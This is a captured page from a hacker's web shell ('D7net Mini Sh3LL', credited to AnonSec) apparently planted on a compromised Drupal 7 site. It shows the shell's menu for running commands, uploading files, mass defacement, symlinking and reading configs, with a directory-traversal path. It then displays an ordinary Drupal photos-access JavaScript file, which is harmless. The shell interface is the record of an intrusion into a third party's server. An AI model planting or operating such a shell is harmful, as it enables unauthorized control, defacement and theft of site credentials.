D7net Mini Sh3LL v1

 
OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /var/www/html/hpsc/../antarctic-drupal-7.89/modules/tracker/../toolbar/../menu/../../sites/all/modules/addressfield/../photos/js/../photos_access/

 Home   ☍ Command   ☍ Upload File   ☍Info Server   ☍ Buat File   ☍ Mass deface   ☍ Jumping   ☍ Config   ☍ Symlink   ☍ About 

Current File : /var/www/html/hpsc/../antarctic-drupal-7.89/modules/tracker/../toolbar/../menu/../../sites/all/modules/addressfield/../photos/js/../photos_access/photos_access.js
(function ($) {
Drupal.behaviors.photosAccess = {
  attach: function(context) {
    var checkval = $('#photos_access_privacy input[type=radio]:checked').val();
    switch (checkval){
      case '2':
        $('#photos_access_viewuser, .photos_access_remove').show(500);
      break;
      case '3':
        $('#photos_access_password').show(500);
        $('#photos_access_password label').text(Drupal.t('Reset Password'));
      break;
    }
    $('#photos_access_privacy input[type=radio]').change(function() {
      var checkval = $(this).attr("checked", true).val();
      switch (checkval){
        case '2':
          $('#photos_access_viewuser, .photos_access_remove').show(500);
          $('#photos_access_password').hide(500);
        break;
        case '3':
          $('#photos_access_password').show(500);
          $('#photos_access_viewuser, .photos_access_remove').hide(500);
        break;
        default:
          $('#photos_access_password').hide(500);
          $('#photos_access_viewuser, .photos_access_remove').hide(500);
        break;
      }
    });
  }
};
})(jQuery);

AnonSec - 2021 | Recode By D7net